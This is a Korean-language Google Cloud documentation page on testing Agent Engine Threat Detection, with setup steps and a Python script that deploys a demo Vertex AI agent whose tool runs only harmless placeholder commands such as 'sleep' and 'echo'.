Agent Engine Threat Detection 테스트

이 페이지에서는 의도적으로 감지기를 트리거하고 발견 항목을 확인하여 Agent Engine Threat Detection이 작동하는지 확인하는 방법을 설명합니다. Agent Engine Threat Detection은 Security Command Center의 기본 제공 서비스입니다.

시작하기 전에

Vertex AI Agent Engine 에이전트에 대한 잠재적 위협을 감지하려면 Security Command Center에서 Agent Engine Threat Detection 서비스가 사용 설정되어 있는지 확인하세요.

환경 설정

Agent Engine Threat Detection을 테스트하려면 악의적인 활동을 시뮬레이션하는 데모 에이전트를 설정하세요.

프로젝트를 만들고 셸 활성화

테스트에 사용할 Google Cloud 프로젝트를 선택하거나 만듭니다.

감지기를 테스트하려면 Google Cloud 콘솔과 Cloud Shell을 사용하면 됩니다.

Google Cloud 콘솔로 이동합니다.

Google Cloud 콘솔로 이동
테스트에 사용할 프로젝트를 선택합니다.
Cloud Shell 활성화를 클릭합니다.

로컬 셸에서 테스트 안내를 실행할 수도 있습니다.

Vertex AI Agent Engine 설정

이 프로젝트에서 Vertex AI Agent Engine을 이전에 사용한 적이 없는 경우 시작하기 전에 Vertex AI Agent Engine 환경을 설정하세요. 생성한 Cloud Storage 스테이징 버킷의 이름을 기록합니다. 또한 Vertex AI Agent Engine 빠른 시작을 따라 Vertex AI SDK로 에이전트를 개발하고 배포하는 방법을 알아보는 것이 좋습니다.

테스트 스크립트 만들기

테스트를 위해 새 에이전트를 배포하는 데 사용될 여러 파일을 만듭니다. nano과 같은 텍스트 편집기를 사용하세요.

다음 콘텐츠로 requirements.txt라는 새 파일을 만듭니다.

google-cloud-aiplatform[agent_engines]
google-adk
google-genai
aiohttp
cloudpickle
pydantic

installation_scripts/install.sh라는 새 빈 파일을 만듭니다. 일부 테스트에서는 이 파일에 콘텐츠를 추가해야 합니다.

다음 콘텐츠로 main.py라는 새 파일을 만듭니다. PROJECT_ID, LOCATION, STAGING_BUCKET 변수를 바꿉니다. 스테이징 버킷 이름에 gs:// 프리픽스가 포함되어야 합니다.

import asyncio
import os
import subprocess
import socket
import vertexai
from vertexai import Client, agent_engines
from google.adk.agents import llm_agent
from google.adk.sessions.in_memory_session_service import InMemorySessionService

# Replace with your own project, location, and staging bucket.
LOCATION = "LOCATION"
PROJECT_ID = "PROJECT_ID"
# Staging bucket must have gs:// prefix
STAGING_BUCKET = "STAGING_BUCKET"

client = Client(project=PROJECT_ID, location=LOCATION)

def _run_command(args, **kwargs):
  output = f"Called {' '.join(args)}\n"
  try:
    res = subprocess.run(args, capture_output=True, text=True, **kwargs)
    if res.stdout:
      output += f"Result: {res.stdout.strip()}\n"
    if res.stderr:
      output += f"Error: {res.stderr.strip()}\n"
  except subprocess.TimeoutExpired:
    output += "Command timed out as expected."
  return output

# Tool to simulate threats. The function body will be replaced for individual
# detector tests.
def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["echo", "this is a fake threat"])
  output += _run_command(["sleep", "10"])
  return output

root_agent = llm_agent.Agent(
    model="gemini-2.5-flash",
    name="threat_detection_test_agent",
    description="Runs threat detection test.",
    instruction="""
      You are an agent that runs a threat detection test using a fake malicious
      command.
    """,
    tools=[threat_detection_test],
)

async def main():
  vertexai.init(
    project=PROJECT_ID,
    location=LOCATION,
    staging_bucket=STAGING_BUCKET,
  )
  app = agent_engines.AdkApp(
      agent=root_agent, session_service_builder=InMemorySessionService
  )
  remote_agent = client.agent_engines.create(
      agent=app,
      config={
          "display_name": "scc_threat_test_agent",
          "identity_type": vertexai.types.IdentityType.AGENT_IDENTITY,
          "requirements": [
              "google-cloud-aiplatform[agent_engines,adk]",
              "cloudpickle",
              "pydantic",
          ],
          "staging_bucket": STAGING_BUCKET,
          "extra_packages": [
              "installation_scripts/install.sh",
          ],
      },
  )
  print("Deployed agent: ", remote_agent.api_resource.name)

  try:
      async for event in remote_agent.async_stream_query(
          user_id="threat_detection_tester",
          message="Run the threat detection test",
      ):
        print(event)
  finally:
      client.agent_engines.delete(name=remote_agent.api_resource.name, force=True)

if __name__ == "__main__":
  asyncio.run(main())

가상 환경 설정

Python 가상 환경을 만들고 활성화합니다.

  python3 -m venv env
  source env/bin/activate

가상 환경에 필요한 종속 항목을 설치합니다.
```
pip install -r requirements.txt
```

스크립트 테스트

가상 환경 내에서 python3 main.py를 사용하여 스크립트를 실행합니다. 이 명령어는 테스트 에이전트를 빌드, 배포, 실행하는 데 몇 분 정도 걸립니다.

스크립트는 배포된 에이전트의 리소스 이름과 LLM 응답 및 기타 메타데이터를 포함한 몇 가지 JSON 객체를 출력합니다. 이 단계에서 권한 오류나 배포 오류가 발생하면 문제 해결을 참고하여 다음 단계를 진행하세요.

테스트 감지기

Agent Engine 위협 감지 감지기를 테스트하려면 threat_detection_test 함수의 코드를 공격을 시뮬레이션하는 코드로 바꿉니다. 스크립트가 에이전트를 배포하고 쿼리하는 데 시간이 오래 걸릴 수 있습니다. 테스트 속도를 높이려면 이러한 함수의 콘텐츠를 여러 개 결합하면 됩니다.